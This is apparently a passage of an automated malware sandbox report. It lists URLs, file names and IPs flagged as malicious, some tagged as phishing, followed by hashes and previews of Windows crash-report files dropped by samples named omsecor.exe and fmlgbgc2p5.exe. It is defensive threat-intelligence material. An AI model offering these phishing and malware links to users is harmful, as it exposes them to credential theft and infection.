	https://tippfloorcovering-my.sharepoint.com/:f:/g/personal/inderjeet_tippfloor_com/EpEIzIGDzrlMs2z8rWgki5MBO5-d64iEaOqqeF3ulFqTiw?e=T39wgl	Get hash	malicious	Unknown	Browse	108.158.75.11
	http://kitces.emlnk1.com	Get hash	malicious	Unknown	Browse	13.227.9.168
	https://vacilandoblog.wordpress.com/2015/04/22/a-tribute-to-my-mother-in-law-rest-in-peace-april-22-2015/	Get hash	malicious	Unknown	Browse	13.250.84.149
	https://sendgb.com/Aw8gObHpGVR?utm_medium=dZJEAfc2MGnvjBD	Get hash	malicious	HTMLPhisher	Browse	63.32.181.175
	mpsl.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse	52.48.36.35
	mips.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
TANDEMUS	cOviNFmw21.exe	Get hash	malicious	Neconyd	Browse	15.197.204.56
	Doc Copy-PTD- P2139 INV- P2238.eml	Get hash	malicious	Unknown	Browse	15.197.213.252
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	15.197.193.217
	AudioplaybackVM--00-32AoTranscript.html	Get hash	malicious	Unknown	Browse	15.197.142.173
	http://frame.wtf	Get hash	malicious	Unknown	Browse	15.197.204.56
	V-Mail.msg	Get hash	malicious	Unknown	Browse	15.197.142.173
	https://protect.checkpoint.com/v2/r01/___https:/vlp6cm34.r.us-east-1.awstrack.me/Q5dmyyux:e7Ke7Kjrfnq.ynintwjuqD.htr7Kh7KjOBJBJLTmXFRFSIYBSOlvWZ1QLgoUfHylhY/JnF_riAUpCWczNA0yO_jaB~oG6AYM23pBoyDNMJ-PJR-NmPFsN~VgZA/PF0HUyICotYzOGFnKvZNBMhC~KfYclayEc_La~ccZq7wY-S_IKBLwx/KWAAv8MVfzRwNM6LCN8Jigf~80C6gkuabRjmLM--7qPAcOAlUFFI__5pCS9Bd6d565556c8b~/hi595-9hb~3gh-a~bg-9bgb-ci5/-b9jf76k5b9g~-555555do29l0Y3hHjFJM3POpxyJsMjDY~5=957___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOmNkMzFiOWRiNjRlNzYwZWExOWZkZjZlZWU4YmI5NjkyOjc6NjQxYjozOTM5M2Y5MjlmZWNkMGUzMGYzMjUxMGFiZDQ0YjU2Mzg5ODdlNDNlNTAyN2VlYjBmMjQxZjc3Mjg5OGNiMWQxOmg6VDpU%3E	Get hash	malicious	Unknown	Browse	15.197.142.173
	http://ar-oracle.com	Get hash	malicious	Unknown	Browse	15.197.148.33
	https://happythnkxgiving.appforconstruction.com/KgeM3	Get hash	malicious	Unknown	Browse	15.197.240.20
	http://idiomas.astalaweb.com/otros/Portugu%C3%A9s/Comunicacion-verbos-en-portugues.asp	Get hash	malicious	Unknown	Browse	15.197.179.7

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fmlgbgc2p5.exe_8492373aeecbce8e182b4fd12204ea0c4c75534_ec40d01a_a5888e9c-e94a-484c-a91c-fb009698315d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7045948762016093
Encrypted:	false
SSDEEP:	96:l2FYJC3Wssh3zxTMb91QXIDcQvc6QcEVcw3cE/9mS+HbHg/8BRTf3Oy1FhZAX/dD:gSJC3WFF0BU/4ju1zuiFCZ24IO81
MD5:	D79ECD861FB598613DAE97C6B110DE00
SHA1:	978BDE9B3EF1681A39742804094083EBECCF04D6
SHA-256:	9D56EE817A5F5FAF8491B71DE2D4846D7D72A84F840B6951DEC71355EFF66D28
SHA-512:	475B6F31343EA942F564BC06AF69E7EE184D30CAB508CF0A5DF06874714FF1E01748E2FD3426E44EE40EE0A2F6C44E74A4B46B9C7D51377DFA870E2224D3FADE
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.8.9.2.1.5.6.6.9.6.4.8.4.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.8.9.2.1.5.8.3.0.5.8.5.1.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.5.8.8.8.e.9.c.-.e.9.4.a.-.4.8.4.c.-.a.9.1.c.-.f.b.0.0.9.6.9.8.3.1.5.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.3.6.0.5.c.7.a.-.a.a.5.1.-.4.a.3.3.-.a.f.3.b.-.1.7.8.2.1.c.d.2.d.1.3.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.m.l.g.b.g.c.2.p.5...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.B.u.i.l.d. .p.r.i.v.a.t.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.7.0.-.0.0.0.1.-.0.0.1.4.-.b.9.8.c.-.e.0.6.9.3.8.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.c.8.e.c.3.5.c.7.2.0.6.6.0.3.f.d.7.d.5.b.c.f.3.b.c.3.6.e.4.a.3.0.0.0.0.0.9.0.4.!.0.0.0.0.5.c.b.2.c.9.8.6.3.d.d.c.2.b.a.5.3.4.6.9.6.7.b.f.0.7.8.0.5.5.4.c.8.d.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_3cccf68f558aebdae18074d03e529771c2cd8b9_db98bc25_591e6923-1f0b-41a3-886f-f1afa133b771\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7039509512860884
Encrypted:	false
SSDEEP:	96:WlFwOW8Gm0tsXhJozxTMb91QXIDcQvc6QcEVcw3cE/99n+HbHg/8BRTf3Oy1FhZ7:a6n8Grt8SF0BU/Aju1zuiFCZ24IO8I
MD5:	F466FE17C450EB2CEB242C7F0E502104
SHA1:	E55613BFF93FAC361CA84BFE9215C24A92A6BF8F
SHA-256:	D336648306D6A126D713F1DF29416521AE8B0DE8067361BA84AA7B7224C8812D
SHA-512:	88488B09AC8C9DA048724D9DE45D33F84E3528C84560319F150158E1D9CD2CC7A6F38A44129977162D1A243E8519793C83EA55A0FAAEC253143F1921CC58A7B2
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.8.9.2.1.5.7.2.3.0.2.1.3.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.8.9.2.1.5.8.3.7.0.8.3.6.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.9.1.e.6.9.2.3.-.1.f.0.b.-.4.1.a.3.-.8.8.6.f.-.f.1.a.f.a.1.3.3.b.7.7.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.d.1.d.5.7.a.4.-.e.4.4.6.-.4.5.0.3.-.b.a.b.8.-.7.e.a.c.1.0.e.7.c.f.3.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.o.m.s.e.c.o.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.B.u.i.l.d. .p.r.i.v.a.t.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.c.0.-.0.0.0.1.-.0.0.1.4.-.5.9.4.e.-.2.1.6.a.3.8.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.c.8.e.c.3.5.c.7.2.0.6.6.0.3.f.d.7.d.5.b.c.f.3.b.c.3.6.e.4.a.3.0.0.0.0.0.9.0.4.!.0.0.0.0.5.c.4.b.a.9.f.f.c.f.b.e.5.2.0.2.9.f.8.b.f.a.d.b.8.8.3.7.6.4.b.7.2.3.d.3.f.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_43b89a372cc43de2a7ad92b15f8c94dc4564c6c_6ad46281_f25293c8-0722-4786-92a3-f6d674ac44d6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6974801132539817
Encrypted:	false
SSDEEP:	96:4iFdWXhTxARsXhBszxTMb91QXIDcQvc6QcEVcw3cE/O0t+HbHg/8BRTf3Oy1FhZy:j/WXDARkmF0BU/Yju1zuiFCZ24IO8J
MD5:	794DB18AA911CB3651F0668B30E4DBFC
SHA1:	4B30FDB350E4D0DF0301F98F47E9DAC02FE205B1
SHA-256:	6ED79B979EAA0AD4E5AE6BE5B1D1C7A9A4724B6FF2BB9DFF8038968707FD49E1
SHA-512:	545C4CBDC6D14450DC48DE9DE1208A58821D1B1FE3C36429297AC6B0BCA7BA813F8051B6DB6A62CFF61B67E6D37106FC448200FC43337195EB089A42EA91F7E7
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.8.9.2.2.0.9.0.9.7.1.6.0.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.8.9.2.2.0.9.7.3.7.7.8.8.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.2.5.2.9.3.c.8.-.0.7.2.2.-.4.7.8.6.-.9.2.a.3.-.f.6.d.6.7.4.a.c.4.4.d.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.5.9.8.3.1.e.9.-.0.7.1.7.-.4.a.3.f.-.a.8.e.7.-.e.1.9.e.1.9.2.1.a.4.3.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.o.m.s.e.c.o.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.B.u.i.l.d. .p.r.i.v.a.t.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.8.8.-.0.0.0.1.-.0.0.1.4.-.0.4.d.0.-.f.6.8.8.3.8.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.c.8.e.c.3.5.c.7.2.0.6.6.0.3.f.d.7.d.5.b.c.f.3.b.c.3.6.e.4.a.3.0.0.0.0.0.9.0.4.!.0.0.0.0.d.5.6.c.3.6.f.5.4.5.1.3.8.c.3.e.7.0.b.5.3.6.5.0.e.c.3.c.f.2.0.8.6.a.d.3.c.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_9952b2275c3b2d9f13a9f763df5d566769d0f6d5_f592aad2_771e5020-42c0-4858-be71-6301429ff170\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6968864431654846
Encrypted:	false
SSDEEP:	96:zBFbAmJNosXhGzxTMb91QXIDcQvc6QcEVcw3cE/99n+HbHgnoW6HeOyushZAX/dP:dpA2NoHF0BU/AjzXzuiFdZ24IO8I
MD5:	2CAD7526A31F60851553C8B796444D15
SHA1:	1C5BFA1D523DF1270E7276847C787AAF5264E19C
SHA-256:	64A6C2098862DCDA171001F7235F0B1A27834F84F51853C7DD21CF2725E32745
SHA-512:	45DC4F796673CF65F0ACB56ED5B39124804E29683D176ED6FAD426A555D78C95B40F9DC2CFA64F4F6FE36FEDE6F46BB3BD3EAC30E3F830678162883066B6D515
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.8.9.2.2.5.9.2.3.9.8.6.3.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.8.9.2.2.5.9.6.1.4.8.6.3.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.7.1.e.5.0.2.0.-.4.2.c.0.-.4.8.5.8.-.b.e.7.1.-.6.3.0.1.4.2.9.f.f.1.7.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.7.6.e.b.9.8.c.-.5.b.0.6.-.4.d.e.f.-.a.5.0.d.-.4.b.d.7.a.6.8.1.7.b.d.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.o.m.s.e.c.o.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.B.u.i.l.d. .p.r.i.v.a.t.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.b.c.-.0.0.0.1.-.0.0.1.4.-.9.d.4.4.-.f.c.a.6.3.8.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.c.8.e.c.3.5.c.7.2.0.6.6.0.3.f.d.7.d.5.b.c.f.3.b.c.3.6.e.4.a.3.0.0.0.0.0.9.0.4.!.0.0.0.0.5.c.4.b.a.9.f.f.c.f.b.e.5.2.0.2.9.f.8.b.f.a.d.b.8.8.3.7.6.4.b.7.2.3.d.3.f.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_a6df591168a6a85c9a656b1ea23bbe9446cb4_b1bc9e8b_8663d629-c955-48f3-8fd0-8fcfbb38f7d4\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6968846418239283
Encrypted:	false
SSDEEP:	96:NeFzSqrm6zsXhNzxTMb91QXIDcQvc6QcEVcw3cE/99n+HbHgnoW6HeOyushZAX/k:QJfr1zqF0BU/AjzXzuiFCZ24IO8I
MD5:	579A106F2064137F0D9E72855C1A15FE
SHA1:	05AF4DEA8A48C65BA9B2F8E243A4BCD37899DA99
SHA-256:	D319865F8AFC535E2AD66CB3912BD91D4428B1DE0B11A7C1BC9704C183FBCF06
SHA-512:	67FB8D3A59C90E5A011D58D1E64DA55BC1172A74026EE2C0F5EE743D28E13AEDCA83BF81488800E08066FCE22EBFECD5659EDC8F3270B7ACE9FD6A88D4A1AF96
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.8.9.2.2.0.9.8.4.4.6.3.0.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.8.9.2.2.1.0.2.1.9.6.3.3.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.6.6.3.d.6.2.9.-.c.9.5.5.-.4.8.f.3.-.8.f.d.0.-.8.f.c.f.b.b.3.8.f.7.d.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.b.a.4.8.9.e.f.-.4.7.f.d.-.4.7.2.4.-.9.2.3.2.-.f.6.2.6.3.2.c.f.8.b.6.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.o.m.s.e.c.o.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.B.u.i.l.d. .p.r.i.v.a.t.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.c.4.-.0.0.0.1.-.0.0.1.4.-.a.7.e.8.-.8.0.8.9.3.8.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.c.8.e.c.3.5.c.7.2.0.6.6.0.3.f.d.7.d.5.b.c.f.3.b.c.3.6.e.4.a.3.0.0.0.0.0.9.0.4.!.0.0.0.0.5.c.4.b.a.9.f.f.c.f.b.e.5.2.0.2.9.f.8.b.f.a.d.b.8.8.3.7.6.4.b.7.2.3.d.3.f.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_omsecor.exe_ea34fb17614e843647b5ef236565be8b1b3a2f_53b5ecb7_6c9d9e65-97ae-4b7d-b519-d97359ec0174\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6904105207040816
Encrypted:	false
SSDEEP:	192:9IGPj3eKOEsF0BU/YjzXzuiFdZ24IO8J:hj3eKOEsmBU/YjDzuiFdY4IO8J
MD5:	663C52A7377C25B15A14090340B2BC47
SHA1:	2A36B45F9E9B5DE9851B7C31F0D9B609EB3E49EC
SHA-256:	1D9473ECFB9C4F9E25357344348850C1D913BB122E60F893CF35056121C90A6D
SHA-512:	1C6E01EA6FC169AEA70BF278D110AFBC00F589EE174DAEDBE9397F6388A14EE7071D3C139E89FD660203DC80E62C0274B9701FCA6553AF4E3755C5B67D9D65B0
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.8.9.2.2.5.8.6.9.5.6.0.5.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.8.9.2.2.5.9.1.9.5.6.1.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.c.9.d.9.e.6.5.-.9.7.a.e.-.4.b.7.d.-.b.5.1.9.-.d.9.7.3.5.9.e.c.0.1.7.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.8.4.c.3.6.8.6.-.b.9.b.1.-.4.8.b.2.-.9.2.2.8.-.e.f.1.2.8.e.2.6.8.3.7.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.o.m.s.e.c.o.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.B.u.i.l.d. .p.r.i.v.a.t.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.1.0.-.0.0.0.1.-.0.0.1.4.-.4.1.1.1.-.7.c.a.6.3.8.4.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.c.8.e.c.3.5.c.7.2.0.6.6.0.3.f.d.7.d.5.b.c.f.3.b.c.3.6.e.4.a.3.0.0.0.0.0.9.0.4.!.0.0.0.0.d.5.6.c.3.6.f.5.4.5.1.3.8.c.3.e.7.0.b.5.3.6.5.0.e.c.3.c.f.2.0.8.6.a.d.3.c.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER148E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 5 17:10:09 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	34114
Entropy (8bit):	2.0098473980093425
Encrypted:	false
SSDEEP:	192:5WuRKjE/UOfxvWNey9ScvqW/2auClcTi:scfxyeOvXzuW
MD5:	E74E04D593962EE3EFCCCFB4CB405C29
SHA1:	6CE143883E611418639323C312A10D314BF1D74E
SHA-256:	1242E54CF39F034F7575071F8D062F0C4801136BBE8EBE8F513A072F6B84D3C1
SHA-512:	74D9779DD5FE37AD8E06B20D58AEC8FCF96798BEE3C1270FC9A2CA36E02765DFA7D3B7DD5CEBA9398DE974BB928B2FAF7823C4667D57B3AF6AA8574505216C89
Malicious:	false
Preview:	MDMP..a..... .......q.Qg........................X...............T...........T.......8...........T...............*y......................................................................................................eJ......x.......GenuineIntel............T...........o.Qg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER153A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6280
Entropy (8bit):	3.71719075814616
Encrypted:	false
SSDEEP:	192:R6l7wVeJus64NYEw4u6pr089bWNsfcWLym:R6lXJV6qYEw4uOWGfHf
MD5:	C99D414FD806DF84B89ABFF8F86DFE96
SHA1:	05497A8399E6533BB5C3E207CD9861523BC39973
SHA-256:	84E1D8B93D115B2B8BDC0D54DD4F904F4881BD3B33E34B328586AFFEF2F1F7E0
SHA-512:	F27D847EF0E17ED70E4AE6033B97E441D17574A79F1999EA8C9B7CFC9A370DBEB9523B30BB453C0018AB77C08DB523FFEE5E3F6892AEAAF484914329A402BAF3
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER158A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4648
Entropy (8bit):	4.465554044932767
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZkJg77aI9ZuWpW8VYvYm8M4J+maqF8PW+q8Tag/sTy2p8d:uIjfUI7PP7V/J+rJuiaysTXp8d
MD5:	80F6DB076DF7B0C03B91F0868FEF2E4E
SHA1:	280AB9F45B77F7FE1E4BE61A1516C59F79261598
SHA-256:	B24903C2D5DC5CF0C8EC68990C5A4C7DBF12D8D46EB42ADE3D6B980194FAAC50
SHA-512:	FAB07A2113B7289F73C1224733739C6F071682EBFCBD06DE56618E50DBA111CE00D69E325C4244BC593DBDF2358AB366F5E9A955DB71EF213FB01E36BB175CC6
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="618252" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER177C.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Dec 5 17:10:09 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	33646
Entropy (8bit):	2.013418893985959
Encrypted:	false
SSDEEP:	96:5Q8s0SU+TTMHCUdE5tUi7D331MQGzDXaeWdKcMC7oQPdyMr4rpWIkWIl/I45IUHD:5iCCHUO5GzDqehSRyMso5IUHEkn/
MD5:	4BD1A3EC04BA3B9F6C57EFACBD3C5591
SHA1:	6DDDE6536C5953CF2005246620DA1401B97E752C
SHA-256:	EFA61C707CE0465CD9AA7FE9AAC3AA12FAD7B4929CC76DF36CFB100A36ADBEE2
SHA-512:	D1514AAA6B8F802DAA30144C7F39B7F0A643E9FD2E6A5A24106F31131B60018EAADD983FB8D28FD5EA29E43C5E2EED162B08F72DB271F34916302650578FD298
Malicious:	false
Preview:	MDMP..a..... .......q.Qg....................................................T.......8...........T................x......................t...............................................................................eJ..............GenuineIntel............T...........p.Qg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER17DA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8240
Entropy (8bit):	3.6918612188599638
Encrypted:	false
SSDEEP:	192:R6l7wVeJb26DL6Yrl6jkgmf04u6prZ89bWdsfxym:R6lXJq6DL6Yp6ggmf04u5WWfl
MD5:	4D44223635938380AE14BA7F471714A6
SHA1:	07AADF9CD3AA1B47DD165F2E1F6B67F9F1A67DBF
SHA-256:	627DD871B94AC63AE4C387E552D3643BF94D595D73AE22103358C67F4BE078AF
SHA-512:	C546968491B947EA46F44D6B1104AE5853011C10AE2EB89F9DFA7D4F943B70AB27561A1284B6168D0FDECBEAFE01A3BF22BEA2D950A6EDAAB5B6B6676EF1F59A
Malicious:	false
